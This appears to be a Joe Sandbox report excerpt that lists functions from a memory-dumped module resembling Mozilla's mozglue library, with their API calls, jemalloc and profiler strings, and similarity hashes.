SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5D6798
_etoured.dll, xrefs: 6C5D64ED
nvdxgiwrap.dll, xrefs: 6C5D6513
nvd3d9wrap.dll, xrefs: 6C5D6500
detoured.dll, xrefs: 6C5D64DA

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b597d72641a96554e3f53d0522dfdd62da4833a1ef4f80e3dd3b0c196287cd00
Instruction ID: 5e06449eb7bac8b114ada78aea9c75b612b7234d7ae38690f2f207143a97b9d0
Opcode Fuzzy Hash: b597d72641a96554e3f53d0522dfdd62da4833a1ef4f80e3dd3b0c196287cd00
Instruction Fuzzy Hash: C6F1F470901319DFDB20DF29CC88B9AB7B4AF45308F0586D9D809A3641DB31BE86CF99

Function 6C5ED850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5ED904
LeaveCriticalSection.KERNEL32(?), ref: 6C5ED971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5ED97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5EE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5EE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5EE315
AcquireSRWLockExclusive.KERNEL32(6C64E804), ref: 6C5EE37C
GetSystemInfo.KERNEL32(?), ref: 6C5EE3C7
__Init_thread_footer.LIBCMT ref: 6C5EE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C64E810,00000040), ref: 6C5EE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E7B8,00001388), ref: 6C5EE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E744,00001388), ref: 6C5EE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E784,00001388), ref: 6C5EE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E7DC,00001388), ref: 6C5EE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C64E768,00001388), ref: 6C5EE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5EE52E
ReleaseSRWLockExclusive.KERNEL32(6C64E804), ref: 6C5EE54F

Part of subcall function 6C5DD960: EnterCriticalSection.KERNEL32(?), ref: 6C5DD999
Part of subcall function 6C5DD960: EnterCriticalSection.KERNEL32(6C64E7B8), ref: 6C5DDA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C5EE6DD
<jemalloc>, xrefs: 6C5EE61C, 6C5EE6CC
MALLOC_OPTIONS, xrefs: 6C5EE3FF
MOZ_CRASH(), xrefs: 6C5EE62B
Compile-time page size does not divide the runtime one., xrefs: 6C5EE621
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EE560, 6C5EE58A, 6C5EE5A5

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 7e3448d86809d8498c1cc13483b4dda4d248a94e874c460e6571c7012798d770
Instruction ID: 24efd512e0cfc18037c6a1937df7bd244c043b3d640543a25dabe8bff7632135
Opcode Fuzzy Hash: 7e3448d86809d8498c1cc13483b4dda4d248a94e874c460e6571c7012798d770
Instruction Fuzzy Hash: EF929872A157118FD714CF29C980715FBE1BF8A328F29CA6DE8698B791D371E841CB81

Function 6C62C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C62C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C62C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C62C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C62DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C62DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C62E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C62E472

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 32bc0c6c7207c984a18dbeaf53193d54d342c16f9586cf0e023ab3e5caedc6b0
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: D633AC71E0021A8FCB04CFA8C8806EDBBF2FF89314F288269D955AB755D735A945CF94

Function 6C5EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5F1A3E

Strings

~q\l, xrefs: 6C5EED10
~q\l, xrefs: 6C5EED13

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q\l$~q\l
API String ID: 3693777188-2638852642
Opcode ID: 3cc87a37cd7a193acaab4526e952fed9f256914400799ca6ee6f0be2392d7afd
Instruction ID: aef2ffe2e6d0abbeedd87e4e4e735b9fc8aa7e4612fb3fc06bc874db4394af7c
Opcode Fuzzy Hash: 3cc87a37cd7a193acaab4526e952fed9f256914400799ca6ee6f0be2392d7afd
Instruction Fuzzy Hash: E3B31C71E04219CFDB18CFA8C890A9DB7B2FF89304F1586A9D459AB745D730AD86CF90

Function 6C5DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7B8), ref: 6C5DFF81
LeaveCriticalSection.KERNEL32(6C64E7B8), ref: 6C5E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5E0240
EnterCriticalSection.KERNEL32(6C64E768), ref: 6C5E025B
LeaveCriticalSection.KERNEL32(6C64E768), ref: 6C5E027B

Strings

<jemalloc>, xrefs: 6C5E0D62, 6C5E0D76, 6C5E0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D67, 6C5E0D7B, 6C5E0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5DFE99, 6C5DFEB7, 6C5DFED3, 6C5E0DB8, 6C5E0DD3, 6C5E19B4

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3a080610397a407305025d0903155357b227ca4df3226c8a4d1fcaff63eac660
Instruction ID: 32530da7b225af5604c85f2100c66249ca5f5c44963a3a24052f4869eb3cf05b
Opcode Fuzzy Hash: 3a080610397a407305025d0903155357b227ca4df3226c8a4d1fcaff63eac660
Instruction Fuzzy Hash: 31C2BF71A057418FD714CF29C980716BBE1BFC9328F28CA6DE4A98B795DB71E801CB85

Function 6C62E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C62E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C62EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C62F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C62F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C630E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C630E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C630EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C630ED4

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e68d074de8aaba7a479370e66765c8825067fbe45bf50152ebe4ce92461fa64c
Instruction ID: 592d0a1351a3996fb9bea87f6d6ba8b2f11d35bf9d840fc418c6da1dd0adf540
Opcode Fuzzy Hash: e68d074de8aaba7a479370e66765c8825067fbe45bf50152ebe4ce92461fa64c
Instruction Fuzzy Hash: B5639E71E0025A8FCB04CFA8C8906DDF7F2FF89314F298269D859AB745D734A946CB94

Function 6C603E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C627770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>`l,?,?,?,6C603E7D,?,?), ref: 6C62777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C603F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C603F5C
VerSetConditionMask.NTDLL ref: 6C603F8D
VerSetConditionMask.NTDLL ref: 6C603F99
VerSetConditionMask.NTDLL ref: 6C603FA0
VerSetConditionMask.NTDLL ref: 6C603FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C603FB4

Strings

C>`l, xrefs: 6C603E93
nvd3d9wrap.dll, xrefs: 6C604466
nvinit.dll, xrefs: 6C604479

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>`l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-349542667
Opcode ID: 541f868a8b70582239c6af77b07a3b1e835edd2449de1c6b43b8b7887c8faf36
Instruction ID: 068ae00cceeaca843b9ab323e255f0b0dc0fb8002cfedaadcae4e2064b9bf1a8
Opcode Fuzzy Hash: 541f868a8b70582239c6af77b07a3b1e835edd2449de1c6b43b8b7887c8faf36
Instruction Fuzzy Hash: 0F52F071614B488FD714EF24C980ABB77EAEF85308F44492DE5968B782DB70F909CB64

Function 6C5DFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E7B8), ref: 6C5DFF81
LeaveCriticalSection.KERNEL32(6C64E7B8), ref: 6C5E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5E0240
EnterCriticalSection.KERNEL32(6C64E768), ref: 6C5E025B
LeaveCriticalSection.KERNEL32(6C64E768), ref: 6C5E027B

Strings

MOZ_CRASH(), xrefs: 6C5E0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5DFE99, 6C5DFEB7, 6C5DFED3, 6C5E0DB8, 6C5E0DD3, 6C5E19B4, 6C5E1A10

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 51abd7766c73c2d5c4cfdd4d295ec88ad8e6a6debea9b52cf942435df98f7d7c
Instruction ID: 70b37ed849cf8b5bee1d1391f068d6f668c5f400a0a326cf6b9bd46540b87e3a
Opcode Fuzzy Hash: 51abd7766c73c2d5c4cfdd4d295ec88ad8e6a6debea9b52cf942435df98f7d7c
Instruction Fuzzy Hash: 57B29E716057418FD718CF29C9D0716BBE1BF89328F28C66DE86A8B796D770E841CB41

Function 6C615600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C616131
expected a Time entry, xrefs: 6C615CB6
ProfileBuffer parse error: %s, xrefs: 6C615AC8, 6C615CBB
expected a Count entry, xrefs: 6C615AC3
schema, xrefs: 6C61606D
name, xrefs: 6C615E79, 6C615E8F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 00d215804a1da7348e01d92ba185a096ba189afb5a2421aa46470c6e9c611394
Instruction ID: df2f90f18238cd78d2e57bab6392c5b8e211eebd7df135a0c3f96c6ca79920bb
Opcode Fuzzy Hash: 00d215804a1da7348e01d92ba185a096ba189afb5a2421aa46470c6e9c611394
Instruction Fuzzy Hash: D1923A75A083418FD724CF28C49079AF7E1BFC9308F15891DE59A9BB51DB30E909CB96

Function 6C5D7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E744), ref: 6C5D7885
LeaveCriticalSection.KERNEL32(6C64E744), ref: 6C5D78A5
EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5D78AD
LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5D78CD
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5D7C82
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C5D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5D7DAF

Strings

Ddl, xrefs: 6C5D787F
Ddl, xrefs: 6C5D789F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Ddl$Ddl
API String ID: 759993129-2974579474
Opcode ID: 6424960603cf8ff07513d00c511fe926066fe05ed4f0c0ad277cee89f0961a54
Instruction ID: 3b7dd0bb73aa09501d6fbd4fd0372b62ec768ecbe1fa03d81364cb10629b8824
Opcode Fuzzy Hash: 6424960603cf8ff07513d00c511fe926066fe05ed4f0c0ad277cee89f0961a54
Instruction Fuzzy Hash: 1B027271A013198FDB54CF19C984799B7B5FF88358F2682AAD809A7715E730BE90CF84

Function 6C612E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C612ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C612EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C612F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C613214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C613242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6136BF

Strings

get , xrefs: 6C613205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C61378D
set , xrefs: 6C6136EC

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a8b23596a1446396be8279e9b52272c9c3f4b7eb31e49fedcf88b7b90795c1a6
Instruction ID: 6c8e9273c4f71b56b7669b3d890999a13f2080b77501589a4821b66069836d05
Opcode Fuzzy Hash: a8b23596a1446396be8279e9b52272c9c3f4b7eb31e49fedcf88b7b90795c1a6
Instruction Fuzzy Hash: E332637060C3818FD324CF28C49069FB7E2AFC6319F54892DE59A87B51DB31D94ACB5A

Function 6C607E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C607E88
vdl, xrefs: 6C608207
data, xrefs: 6C608280, 6C6083E1
schema, xrefs: 6C6081E3, 6C608311
name, xrefs: 6C607ECF, 6C608335

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vdl
API String ID: 3412268980-2465630707
Opcode ID: 10d9f68704a3db128d8a86bd6e7fae7cbf305df61a470e67e8aa586e45197eff
Instruction ID: 9246e3c30cf84583784e806c2bbb80174be85a467bba1f67c6216165f1d43cff
Opcode Fuzzy Hash: 10d9f68704a3db128d8a86bd6e7fae7cbf305df61a470e67e8aa586e45197eff
Instruction Fuzzy Hash: 8EE170B1B043508BC714CF68884065BF7EABFD9314F15892DE899E7790DBB0ED098B96

Function 6C625FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C626009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C626024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q\l,?), ref: 6C626046
OutputDebugStringA.KERNEL32(?,Q\l,?), ref: 6C626061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C626069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C626073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C626082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C64148E), ref: 6C626091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q\l,00000000,?), ref: 6C6260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6260C4

Strings

Q\l, xrefs: 6C625FFC, 6C626042, 6C626045, 6C6260B3

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q\l
API String ID: 3835517998-101262939
Opcode ID: 56c083034ad3aac0efe174a9469aeeb97f9b637fd57b5ac457268cc33fd3a5f5
Instruction ID: 7db09bc38c58b1795ce5a53eba5f01bec12a3ec3e37fb1c4a3d4fe255c656a04
Opcode Fuzzy Hash: 56c083034ad3aac0efe174a9469aeeb97f9b637fd57b5ac457268cc33fd3a5f5
Instruction Fuzzy Hash: 5221B771A002089FDF106F25DC49A9E7BB8FF85718F00C428E85E97280DB75A959CFD9

Function 6C5E5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2
memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5E7652

Strings

ewbl, xrefs: 6C5E5E9C, 6C5E5F22, 6C5E61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E72E3
MOZ_CRASH(), xrefs: 6C5E7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E7BCD, 6C5E7C1F, 6C5E7C34, 6C5E80FD

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewbl
API String ID: 2613674957-4059062753
